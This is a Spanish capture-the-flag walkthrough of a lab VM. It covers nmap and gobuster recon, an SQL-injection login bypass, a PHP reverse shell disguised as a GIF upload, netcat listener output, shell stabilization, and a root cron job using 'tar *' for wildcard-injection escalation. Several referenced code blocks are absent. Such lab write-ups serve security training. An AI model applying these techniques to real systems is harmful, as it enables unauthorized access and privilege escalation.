Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-22 03:20 EDT
Nmap scan report for 192.168.5.63
Host is up (0.0063s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 2e:7a:1f:17:57:44:6f:7f:f9:ce:ab:a1:4f💿c7:19 (ECDSA)
|_ 256 93:7e:d6:c9:03:5b:a1:ee:1d:54:d0:f0:27:0f:13:eb (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Quick Automative - Home
|_http-server-header: Apache/2.4.52 (Ubuntu)
| http-robots.txt: 1 disallowed entry
|_/admin/
MAC Address: 08:00:27:AA:84:13 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.48 seconds
Veremos un puerto 80 en el que se aloja una pagina web, si entramos veremos una pagina normal y corriente dedicada a coches, pero en la parte de Make Appointment veremos un login si nos registramos y accedemos con dicha cuenta no veremos gran cosa, por lo que vamos a realizar un poco de fuzzing a la pagina en general.
Gobuster
Info:
Vemos varias cosas interesantes, pero entre ellas veremos un sitio llamado /employee que es bastante interesante, por lo que si accedemos a el veremos un login de nuevo, esta vez no nos podremos registrar, por lo que vamos a probar a realizar un SQLi de forma muy basica a ver si por lo menos es vulnerable al mismo.
Veremos que hemos accedido directamente al panel bypasseando las credenciales del admin por lo que estaremos dentro.
Vamos a irnos a la seccion Users -> Employeers y aqui dentro vamos a irnos a la pestaña llamada reset password, cambiaremos la password de por ejemplo el usuario Nick Greenhorn a la que queramos, una vez echo esto, vamos a subirle una foto de perfil, pero vamos a probar a subirle un .php y si funciona loguearnos con dicho usuario para que se ejecute.
image.php
Si nos vamos a Upload Photo, seleccionamos dicho usuario y seleccionamos el archivo, cuando le demos a Upload Photo veremos que no funciona, por lo que podremos intentar interceptar la peticion con BurpSuite subiendo una imagen real, pero cuando la interceptemos cambiamos los datos a las de un GIF para que se haga pasar por GIF pero siendo el archivo del contenido PHP.
Una vez que la capturemos veremos esta peticion:
Tendremos que cambiar la linea que pone:
Y añadirle encima de la reverse shell la palabra GIF8; quedando de esta forma:
Ahora si nos logueamos con dicho usuario en ese mismo login, pero antes nos ponemos a la escucha:
Ahora nos logueamos...
Y si volvemos a donde tenemos la escucha, veremos lo siguiente:
Veremos que ha funcionado, por lo que vamos a sanitizar la shell.
Sanitización de shell (TTY)
Por lo que leeremos la flag del usuario.
user.txt
Escalate Privileges
Despues de un rato buscando, si leemos los crontabs que hay a nivel de sistema, veremos lo siguiente:
Info:
Vemos esta linea bastante interesante:
Vamos a ver que contiene dicho .sh.
Info:
Vemos que esto conlleva una vulnerabilidad el *, si buscamos informacion sobre ello veremos esto:
listening on [any] 7777 ...
connect to [192.168.5.50] from (UNKNOWN) [192.168.5.62] 57256
whoami
www-data
script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
# You can also override PATH, but by default, newer versions inherit it from the environment
#PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
*/1 * * * * root /usr/local/bin/backup.sh
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
*/1 * * * * root /usr/local/bin/backup.sh
cat /usr/local/bin/backup.sh
#!/bin/bash
cd /var/www/html/
tar czf /var/backups/backup-website.tar.gz *